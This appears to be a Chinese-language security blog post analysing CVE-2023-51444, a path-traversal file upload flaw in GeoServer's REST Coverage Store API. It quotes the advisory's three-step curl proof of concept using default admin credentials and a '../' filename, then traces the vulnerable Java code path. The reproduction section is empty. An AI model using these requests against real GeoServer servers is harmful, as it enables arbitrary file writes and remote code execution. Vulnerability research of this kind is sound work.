目录
前言
漏洞信息
代码审计
漏洞复现
前言
时隔半月,我又再一次地审起了这个漏洞。第一次看到这个漏洞信息时,尝试复现了一下,结果却很不近人意。从官方公布的漏洞信息来看细节还是太少,poc不是一次就能利用成功的。也是当时心比较急没有静下心来,好好审计一下,胡乱一顿测结果什么都没测出来。这次我又带着代码审计进军来了。
考虑贴代码不如图片真实,贴图片呢又只是能显示局部.... 所以我决定这样做,第一次调用的时候我会将完整的方法函数贴进来,后面再分析的时候,我就局部截图了。
漏洞信息
参考链接
Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API · CVE-2023-51444 · GitHub Advisory Database · GitHub
[GEOS-11176] Add validation to file wrapper resource paths by sikeoka · Pull Request #7222 · geoserver/geoserver · GitHub
官网漏洞信息说明
Summary
An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.
Details
Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.
PoC
Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"file:///{absolute path to data directory}/data/sf/filewrite" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).
官方修补措施,像是修补了../穿越目录的可能 需要留意一下....
根据poc信息,定位相关代码
非常有可能是这个处理函数
接下来好好分析一番........
代码审计
@RestController
@ControllerAdvice
@RequestMapping(
path =
RestBaseController.ROOT_PATH
+ "/workspaces/{workspaceName}/coveragestores/{storeName}/{method}.{format}")
public class CoverageStoreFileController extends AbstractStoreUploadController {
/** Keys every known coverage format by lowercase name */
protected static final HashMap<String, String> FORMAT_LOOKUP = new HashMap<>();
static {
for (Format format : CoverageStoreUtils.formats) {
FORMAT_LOOKUP.put(format.getName().toLowerCase(), format.getName());
}
}
@Autowired
public CoverageStoreFileController(@Qualifier("catalog") Catalog catalog) {
super(catalog);
}
@PostMapping
@ResponseStatus(code = HttpStatus.ACCEPTED)
public void coverageStorePost(
@PathVariable String workspaceName,
@PathVariable String storeName,
@PathVariable UploadMethod method,
@PathVariable String format,
@RequestParam(required = false) String filename,
@RequestParam(name = "updateBBox", required = false) Boolean updateBBox,
HttpServletRequest request)
throws IOException {
if (updateBBox == null) updateBBox = false;
// check the coverage store exists
CoverageStoreInfo info = catalog.getCoverageStoreByName(workspaceName, storeName);
if (info == null) {
throw new ResourceNotFoundException(
"No such coverage store: " + workspaceName + "," + storeName);
}
GridCoverageReader reader = info.getGridCoverageReader(null, null);
if (reader instanceof StructuredGridCoverage2DReader) {
StructuredGridCoverage2DReader sr = (StructuredGridCoverage2DReader) reader;
if (sr.isReadOnly()) {
throw new RestException(
"Coverage store found, but it cannot harvest extra resources",
HttpStatus.METHOD_NOT_ALLOWED);
}
} else {
throw new RestException(
"Coverage store found, but it does not support resource harvesting",
HttpStatus.METHOD_NOT_ALLOWED);
}
StructuredGridCoverage2DReader sr = (StructuredGridCoverage2DReader) reader;
// This method returns a List of the harvested sources.
final List<Object> harvestedResources = new ArrayList<>();
if (method == UploadMethod.remote) {
harvestedResources.add(handleRemoteUrl(request));
} else {
for (Resource res :
doFileUpload(method, workspaceName, storeName, filename, format, request)) {
harvestedResources.add(Resources.find(res));
}
}
// File Harvesting
sr.harvest(null, harvestedResources, GeoTools.getDefaultHints());
if (updateBBox) new MosaicInfoBBoxHandler(catalog).updateNativeBBox(info, sr);
}
跟入doFileUpload方法
/**
* Does the file upload based on the specified method.
*
* @param method The method, one of 'file.' (inline), 'url.' (via url), or 'external.' (already
* on server)
* @param storeName The name of the store being added
* @param format The store format.
*/
protected List<Resource> doFileUpload(
UploadMethod method,
String workspaceName,
String storeName,
String filename,
String format,
HttpServletRequest request)
throws IOException {
Resource directory = null;
boolean postRequest =
request != null && HttpMethod.POST.name().equalsIgnoreCase(request.getMethod());
// Prepare the directory only in case this is not an external upload
if (method.isInline()) {
// Mapping of the input directory
if (method == UploadMethod.url) {
// For URL upload method, workspace and StoreName are not considered
directory = RESTUtils.createUploadRoot(catalog, null, null, postRequest);
} else {
directory =
RESTUtils.createUploadRoot(catalog, workspaceName, storeName, postRequest);
}
}
return handleFileUpload(
storeName, workspaceName, filename, method, format, directory, request);
}
跟入handleFileUpload
protected List<Resource> handleFileUpload(
String store,
String workspace,
String filename,
UploadMethod method,
String format,
Resource directory,
HttpServletRequest request) {
List<Resource> files = new ArrayList<>();
Resource uploadedFile;
boolean external = false;
try {
if (method == UploadMethod.file) {
// we want to delete the previous dir contents only in case of PUT, not
// in case of POST (harvest, available only for raster data)
boolean cleanPreviousContents = HttpMethod.PUT.name().equals(request.getMethod());
if (filename == null) {
filename = buildUploadedFilename(store, format);
}
uploadedFile =
RESTUtils.handleBinUpload(
filename, directory, cleanPreviousContents, request, workspace);
} else if (method == UploadMethod.url) {
...
跟入 RESTUtils.handleBinUpload
/**
* Reads content from the body of a request and writes it to a file.
*
* @param fileName The name of the file to write out.
* @param directory The directory to write the file to.
* @param deleteDirectoryContent Delete directory content if the file already exists.
* @param request The request.
* @return The file object representing the newly written file.
* @throws IOException Any I/O errors that occur.
* <p>TODO: move this to IOUtils.
*/
public static org.geoserver.platform.resource.Resource handleBinUpload(
String fileName,
org.geoserver.platform.resource.Resource directory,
boolean deleteDirectoryContent,
HttpServletRequest request,
String workSpace)
throws IOException {
// Creation of a StringBuilder for the selected file
StringBuilder itemPath = new StringBuilder(fileName);
// Mediatype associated to the input file
MediaType mediaType =
request.getContentType() == null
? null
: MediaType.valueOf(request.getContentType());
// Only zip files are not remapped
if (mediaType == null || !isZipMediaType(mediaType)) {
String baseName = FilenameUtils.getBaseName(fileName);
String itemName = FilenameUtils.getName(fileName);
// Store parameters used for mapping the file path
Map<String, String> storeParams = new HashMap<>();
// Mapping item path
remapping(workSpace, baseName, itemPath, itemName, storeParams);
}
final org.geoserver.platform.resource.Resource newFile = directory.get(itemPath.toString());
if (Resources.exists(newFile)) {
if (deleteDirectoryContent) {
for (Resource file : directory.list()) {
file.delete();
}
} else {
// delete the file, otherwise replacing it with a smaller one will leave bytes at
// the end
newFile.delete();
}
}
try (OutputStream os = newFile.out()) {
IOUtils.copy(request.getInputStream(), os);
}
return newFile;
}
根据注释信息,首先是可以向系统写入文件的,
重点关注下参数的传递,重点关注下这两个参数,文件写入嘛!我们重点关注的就是写入路径与写入名称
-
@param fileName The name of the file to write out.
-
@param directory The directory to write the file to.
一,directory 参数由方法doFileUpload 中446行与454行得来
workspaceName与storeName 这个俩为我们控的变量,那么由此得到的directory 将会是什么目录呢?绝对路径?相对路径?再此之前我们可以定义这个路径吗?
这几个问题先保留着...
二,fileName 这个变量是我们直接可控的, 那么这个文件是否能以../../的形式穿越路径呢?
带着疑问我们继续往下分析
分析最关键的地方
en... 我们需要跟进get方法中去看看
Resource是一个接口,所以这里跟进的get方法 是一个实现了接口Resource的类 的get 方法
看到get我们要敏感一下啊,因为修补代码的get就属于ResourceAdaptor类,它是实现了接口Resource了的,所以逻辑上这里是可以跳到ResourceAdaptor类的get方法的。
可以看到resourcePath中间是没有经过任何过滤的,那么这就非常可能进行../../穿越目录的文件写入。
接下来我们重点分析directory的传参,要让它是ResourceAdaptor对象,这样的我们才能调用那个存在漏洞的get方法啊。
还是来到这里
跟入RESTUtils.createUploadRoot
/** Creates a file upload root for the given workspace and store */
public static Resource createUploadRoot(
Catalog catalog, String workspaceName, String storeName, boolean isPost)
throws IOException {
// Check if the Request is a POST request, in order to search for an existing coverage
Resource directory = null;
if (isPost && storeName != null) {
// Check if the coverage already exists
CoverageStoreInfo coverage = catalog.getCoverageStoreByName(storeName);
if (coverage != null) {
if (workspaceName == null
|| coverage.getWorkspace().getName().equalsIgnoreCase(workspaceName)) {
// If the coverage exists then the associated directory is defined by its URL
String url = coverage.getURL();
String path;
if (url.startsWith("file:")) {
path = URLs.urlToFile(new URL(url)).getPath();
} else {
path = url;
}
directory = Resources.fromPath(path, catalog.getResourceLoader().get(""));
}
}
}
// If the directory has not been found then it is created directly
if (directory == null) {
directory =
catalog.getResourceLoader().get(Paths.path("data", workspaceName, storeName));
}
// Selection of the original ROOT directory path
StringBuilder root = new StringBuilder(directory.path());
// StoreParams to use for the mapping.
Map<String, String> storeParams = new HashMap<>();
// Listing of the available pathMappers
List<RESTUploadPathMapper> mappers =
GeoServerExtensions.extensions(RESTUploadPathMapper.class);
// Mapping of the root directory
for (RESTUploadPathMapper mapper : mappers) {
mapper.mapStorePath(root, workspaceName, storeName, storeParams);
}
directory = Resources.fromPath(root.toString());
return directory;
}
共有两处生成directory的地方
Resources.fromPath比较可疑,进入Resources.fromPath分析一下,不行的话再看462行的生成逻辑
/**
* Creates resource from a path, if the path is relative it will return a resource relative to
* the provided directory otherwise it will return a file based resource
*
* @param path relative or absolute path
* @param relativeDir directory to which relative paths are relative
* @return resource
*/
public static org.geoserver.platform.resource.Resource fromPath(
String path, org.geoserver.platform.resource.Resource relativeDir) {
File file = new File(path);
if (file.isAbsolute()) {
return Files.asResource(file);
} else {
return relativeDir.get(path.replace(File.separatorChar, '/'));
}
}
如果是绝对路径则返回 return Files.asResource(file);
跟进去
/**
* Adapter allowing a File reference to be quickly used a Resource.
*
* <p>This is used as a placeholder when updating code to use resource, while still maintaining
* deprecated File methods:
*
* <pre><code>
* //deprecated
* public FileWatcher( File file ){
* this.resource = Files.asResource( file );
* }
* //deprecated
* public FileWatcher( Resource resource ){
* this.resource = resource;
* }
* </code></pre>
*
* Note this only an adapter for single files (not directories).
*
* @param file File to adapt as a Resource
* @return resource adaptor for provided file
*/
public static Resource asResource(final File file) {
if (file == null) {
throw new IllegalArgumentException("File required");
}
return new ResourceAdaptor(file);
}
干的漂亮,就是我们想要的ResourceAdaptor对象
自此 就有了一条上传链,接下来就是调试细节的问题。
要怎么调用方法?,要注入什么参数?,以什么形式注入?,要符合那些要求?包括前面的问题如何修改为绝对目录?
这些都需要解决 都需要慢慢地调试,分析,最终慢慢地形成poc...
漏洞复现
更多详情可以关注我的github.